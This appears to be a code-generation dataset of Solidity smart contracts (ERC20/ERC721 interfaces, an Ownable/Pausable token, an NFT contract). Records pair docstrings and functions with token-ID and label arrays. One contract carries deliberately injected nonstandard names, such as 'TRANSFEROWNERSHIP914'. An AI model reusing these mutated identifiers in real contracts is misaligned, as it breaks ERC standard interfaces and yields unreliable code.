abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.2; import "../../introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transfered from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
@notice Checks if an operator is allowed to Break Covalent Bonds on a specific Token @param contractAddress The Address to the Contract of the Token @param tokenId The ID of the Token @param operator The Address of the operator to check @return True if the operator is Approved
function isApprovedForBreakBond(address contractAddress, uint256 tokenId, address operator) external virtual override view returns (bool) { return _isApprovedForBreakBond(contractAddress, tokenId, operator); }
354,489
[ 1, 4081, 309, 392, 3726, 353, 2935, 358, 17030, 7695, 1125, 319, 605, 4096, 603, 279, 2923, 3155, 225, 6835, 1887, 225, 1021, 5267, 358, 326, 13456, 434, 326, 3155, 225, 1147, 548, 1850, 1021, 1599, 434, 326, 3155, 225, 3726, 540, 1021, 5267, 434, 326, 3726, 358, 866, 327, 1053, 309, 326, 3726, 353, 1716, 685, 2155, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 353, 31639, 1290, 7634, 9807, 12, 2867, 6835, 1887, 16, 2254, 5034, 1147, 548, 16, 1758, 3726, 13, 3903, 5024, 3849, 1476, 1135, 261, 6430, 13, 288, 203, 565, 327, 389, 291, 31639, 1290, 7634, 9807, 12, 16351, 1887, 16, 1147, 548, 16, 3726, 1769, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/3/0x4491f8a955D3b119014Ca68dA2F60f930ff06481/sources/flakes.sol
* Constrctor function Initializes contract with initial supply tokens to the creator of the contract/
constructor() public { name = "Sharevalue"; symbol = "TSV"; decimals = 18; _totalSupply = 100000000000000000000000000; balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); }
5,329,326
[ 1, 442, 701, 30206, 445, 10188, 3128, 6835, 598, 2172, 14467, 2430, 358, 326, 11784, 434, 326, 6835, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 3885, 1435, 1071, 288, 203, 3639, 508, 273, 315, 9535, 1132, 14432, 203, 3639, 3273, 273, 315, 8047, 58, 14432, 203, 3639, 15105, 273, 6549, 31, 203, 3639, 389, 4963, 3088, 1283, 273, 2130, 12648, 12648, 12648, 31, 203, 203, 3639, 324, 26488, 63, 3576, 18, 15330, 65, 273, 389, 4963, 3088, 1283, 31, 203, 3639, 3626, 12279, 12, 2867, 12, 20, 3631, 1234, 18, 15330, 16, 389, 4963, 3088, 1283, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.5.4; // File: contracts/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } /** * @return the address of the owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner()); _; } /** * @return true if `msg.sender` is the owner of the contract. */ function isOwner() public view returns (bool) { return msg.sender == _owner; } /** * @dev Allows the current owner to relinquish control of the contract. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. * @notice Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: contracts/OwnAdminable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract OwnAdminable { address private _owner; address private _admin; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } /** * @return the address of the owner. */ function owner() public view returns (address) { return _owner; } /** * @return the address of the admin. */ function admin() public view returns (address) { return _admin; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner()); _; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwnerOrAdmin() { require(isOwnerOrAdmin()); _; } /** * @return true if `msg.sender` is the owner of the contract. */ function isOwner() public view returns (bool) { return msg.sender == _owner; } /** * @return true if `msg.sender` is the owner or admin of the contract. */ function isOwnerOrAdmin() public view returns (bool) { return msg.sender == _owner || msg.sender == _admin; } /** * @dev Allows the current owner to relinquish control of the contract. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. * @notice Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } function setAdmin(address newAdmin) public onlyOwner { _admin = newAdmin; } /** * @dev Transfers control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: contracts/Pausable.sol /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is OwnAdminable { event Paused(address account); event Unpaused(address account); bool private _paused; constructor () internal { _paused = false; } /** * @return true if the contract is paused, false otherwise. */ function paused() public view returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!_paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(_paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() public onlyOwner whenNotPaused { _paused = true; emit Paused(msg.sender); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() public onlyOwner whenPaused { _paused = false; emit Unpaused(msg.sender); } } // File: contracts/NewcaterToken.sol /** * Newcater builds optimized Blockchain infrastructure with application platforms, solutions for supporting swap, auction, payment, delivery and community connectivity. * It is an ideal economic-technical environment for the community to join in application development, swap, knowledge and resource sharing. * To create a circle of connections, support, sharing, shopping and income generation. * * Newcater develops and applies new technologies, especially Blockchain technology, in generating dApps, Smart contracts, and digital assets to apply in heritage digitization, copyright guarantee, auction, reward points, community fund management and cross-border transaction guarantee. * To enable all of these activities to become more transparent, safe and secure. * * Newcater aims at promoting e-commerce and developing the local economy, helping businesses and merchants to take their products global. * Boosting the trade freedom, narrowing the income gap, promoting the arts and creativity, and preserving traditional values in order to bring benefits to society, users, developers and contributors. */ contract NewcaterToken is Ownable, Pausable { string private _name; string private _symbol; uint8 private _decimals; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowed; uint256 private _totalSupply; uint256 private _cap; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); constructor (string memory name, string memory symbol, uint8 decimals, uint256 cap) public { require(cap > 0); _name = name; _symbol = symbol; _decimals = decimals; _cap = cap; } /** * @return the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @return the symbol of the token. */ function symbol() public view returns (string memory) { return _symbol; } /** * @return the number of decimals of the token. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @return the cap for the token minting. */ function cap() public view returns (uint256) { return _cap; } /** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return A uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; } /** * @dev Transfer token to a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public whenNotPaused returns (bool) { _transfer(msg.sender, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public whenNotPaused returns (bool) { _approve(msg.sender, spender, value); return true; } /** * @dev Transfer tokens from one address to another. * Note that while this function emits an Approval event, this is not required as per the specification, * and other compliant implementations may not emit the event. * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) { _transfer(from, to, value); _approve(from, msg.sender, safeSub(_allowed[from][msg.sender], value)); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when _allowed[msg.sender][spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance(address spender, uint256 addedValue) public whenNotPaused returns (bool) { _approve(msg.sender, spender, safeAdd(_allowed[msg.sender][spender], addedValue)); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when _allowed[msg.sender][spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance(address spender, uint256 subtractedValue) public whenNotPaused returns (bool) { _approve(msg.sender, spender, safeSub(_allowed[msg.sender][spender], subtractedValue)); return true; } /** * @dev Transfer token for a specified addresses * @param from The address to transfer from. * @param to The address to transfer to. * @param value The amount to be transferred. */ function _transfer(address from, address to, uint256 value) internal { require(to != address(0)); _balances[from] = safeSub(_balances[from], value); _balances[to] = safeAdd(_balances[to], value); emit Transfer(from, to, value); } /** * @dev Function to mint tokens * @param to The address that will receive the minted tokens. * @param value The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address to, uint256 value) public whenNotPaused onlyOwner returns (bool) { _mint(to, value); return true; } /** * @dev Internal function that mints an amount of the token and assigns it to * an account. This encapsulates the modification of balances such that the * proper events are emitted. * @param account The account that will receive the created tokens. * @param value The amount that will be created. */ function _mint(address account, uint256 value) internal { require(account != address(0)); require(safeAdd(totalSupply(), value) <= _cap); _totalSupply = safeAdd(_totalSupply, value); _balances[account] = safeAdd(_balances[account], value); emit Transfer(address(0), account, value); } /** * @dev Burns a specific amount of tokens. * @param value The amount of token to be burned. */ function burn(uint256 value) public { _burn(msg.sender, value); } /** * @dev Burns a specific amount of tokens from the target address and decrements allowance * @param from address The account whose tokens will be burned. * @param value uint256 The amount of token to be burned. */ function burnFrom(address from, uint256 value) public whenNotPaused { _burnFrom(from, value); } /** * @dev Internal function that burns an amount of the token of a given * account. * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burn(address account, uint256 value) internal { require(account != address(0)); _totalSupply = safeSub(_totalSupply, value); _balances[account] = safeSub(_balances[account], value); emit Transfer(account, address(0), value); } /** * @dev Approve an address to spend another addresses' tokens. * @param owner The address that owns the tokens. * @param spender The address that will spend the tokens. * @param value The number of tokens that can be spent. */ function _approve(address owner, address spender, uint256 value) internal { require(spender != address(0)); require(owner != address(0)); _allowed[owner][spender] = value; emit Approval(owner, spender, value); } /** * @dev Internal function that burns an amount of the token of a given * account, deducting from the sender's allowance for said account. Uses the * internal burn function. * Emits an Approval event (reflecting the reduced allowance). * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burnFrom(address account, uint256 value) internal { _burn(account, value); _approve(account, msg.sender, safeSub(_allowed[account][msg.sender], value)); } function safeSub(uint a, uint b) private pure returns (uint) { assert(b <= a); return a - b; } function safeAdd(uint a, uint b) private pure returns (uint) { uint c = a + b; assert(c >= a && c >= b); return c; } }
* @dev Internal function that burns an amount of the token of a given account. @param account The account whose tokens will be burnt. @param value The amount that will be burnt./
function _burn(address account, uint256 value) internal { require(account != address(0)); _totalSupply = safeSub(_totalSupply, value); _balances[account] = safeSub(_balances[account], value); emit Transfer(account, address(0), value); }
14,015,089
[ 1, 3061, 445, 716, 18305, 87, 392, 3844, 434, 326, 1147, 434, 279, 864, 2236, 18, 225, 2236, 1021, 2236, 8272, 2430, 903, 506, 18305, 88, 18, 225, 460, 1021, 3844, 716, 903, 506, 18305, 88, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 70, 321, 12, 2867, 2236, 16, 2254, 5034, 460, 13, 2713, 288, 203, 3639, 2583, 12, 4631, 480, 1758, 12, 20, 10019, 203, 203, 3639, 389, 4963, 3088, 1283, 273, 4183, 1676, 24899, 4963, 3088, 1283, 16, 460, 1769, 203, 3639, 389, 70, 26488, 63, 4631, 65, 273, 4183, 1676, 24899, 70, 26488, 63, 4631, 6487, 460, 1769, 203, 3639, 3626, 12279, 12, 4631, 16, 1758, 12, 20, 3631, 460, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
//No Colored Allowed by DappVinci //The 'tokenURI' function returns SVG // SPDX-License-Identifier: MIT pragma solidity 0.7.0; contract Ownable { string public constant not_cur_owner108 = "018001"; //inject NONSTANDARD NAMING string public constant no_xfer_2_0983 = "018002"; //inject NONSTANDARD NAMING address public owner; event OWNERSHIPTRANSFERRED733(address indexed previousOwner, address indexed newOwner); //inject NONSTANDARD NAMING modifier ONLYOWNER618(){ //inject NONSTANDARD NAMING require(msg.sender == owner, not_cur_owner108); _; } function TRANSFEROWNERSHIP914(address _newOwner) public ONLYOWNER618 { //inject NONSTANDARD NAMING require(_newOwner != address(0), no_xfer_2_0983); emit OWNERSHIPTRANSFERRED733(owner, _newOwner); owner = _newOwner; }} library AddressUtils { function ISCONTRACT915(address _addr) internal view returns (bool addressCheck) { //inject NONSTANDARD NAMING bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(_addr) } // solhint-disable-line addressCheck = (codehash != 0x0 && codehash != accountHash); }} interface ERC165{ function SUPPORTSINTERFACE217(bytes4 _interfaceID) external view returns (bool); //inject NONSTANDARD NAMING } contract SupportsInterface is ERC165 { mapping(bytes4 => bool) internal supportedInterfaces; function SUPPORTSINTERFACE217( //inject NONSTANDARD NAMING bytes4 _interfaceID) external override view returns (bool) { return supportedInterfaces[_interfaceID]; }} library SafeMath { string constant overflow201 = "008001"; //inject NONSTANDARD NAMING string constant subtrahend_greater_then_minuend467 = "008002"; //inject NONSTANDARD NAMING function ADD46(uint256 _addend1, uint256 _addend2) internal pure returns (uint256 sum) { //inject NONSTANDARD NAMING sum = _addend1 + _addend2; require(sum >= _addend1, overflow201); }} interface ERC721TokenReceiver { function ONERC721RECEIVED244(address _operator, address _from, uint256 _tokenId, bytes calldata _data) external returns(bytes4); //inject NONSTANDARD NAMING } interface ERC721{ event TRANSFER898(address indexed _from, address indexed _to, uint256 indexed _tokenId); //inject NONSTANDARD NAMING event APPROVAL562(address indexed _owner, address indexed _approved, uint256 indexed _tokenId); //inject NONSTANDARD NAMING event APPROVALFORALL444(address indexed _owner, address indexed _operator, bool _approved); //inject NONSTANDARD NAMING function SAFETRANSFERFROM138(address _from, address _to, uint256 _tokenId, bytes calldata _data) external; //inject NONSTANDARD NAMING function SAFETRANSFERFROM138(address _from, address _to, uint256 _tokenId) external; //inject NONSTANDARD NAMING function TRANSFERFROM921(address _from, address _to, uint256 _tokenId) external; //inject NONSTANDARD NAMING function APPROVE958(address _approved, uint256 _tokenId) external; //inject NONSTANDARD NAMING function SETAPPROVALFORALL105(address _operator, bool _approved) external; //inject NONSTANDARD NAMING function BALANCEOF270(address _owner) external view returns (uint256); //inject NONSTANDARD NAMING function OWNEROF456(uint256 _tokenId) external view returns (address); //inject NONSTANDARD NAMING function GETAPPROVED790(uint256 _tokenId) external view returns (address); //inject NONSTANDARD NAMING function ISAPPROVEDFORALL873(address _owner, address _operator) external view returns (bool); //inject NONSTANDARD NAMING } contract NFToken is ERC721, SupportsInterface { using SafeMath for uint256; using AddressUtils for address; string constant zero_address727 = "003001"; //inject NONSTANDARD NAMING string constant not_valid_nft741 = "003002"; //inject NONSTANDARD NAMING string constant not_owner_or_operator13 = "003003"; //inject NONSTANDARD NAMING string constant not_owner_approwed_or_operator515 = "003004"; //inject NONSTANDARD NAMING string constant not_able_to_receive_nft141 = "003005"; //inject NONSTANDARD NAMING string constant nft_already_exists595 = "003006"; //inject NONSTANDARD NAMING string constant not_owner152 = "003007"; //inject NONSTANDARD NAMING string constant is_owner158 = "003008"; //inject NONSTANDARD NAMING bytes4 internal constant magic_on_erc721_received864 = 0x150b7a02; //inject NONSTANDARD NAMING mapping (uint256 => address) internal idToOwner; mapping (uint256 => address) internal idToApproval; mapping (address => uint256) private ownerToNFTokenCount; mapping (address => mapping (address => bool)) internal ownerToOperators; modifier CANOPERATE488(uint256 _tokenId) { //inject NONSTANDARD NAMING address tokenOwner = idToOwner[_tokenId]; require(tokenOwner == 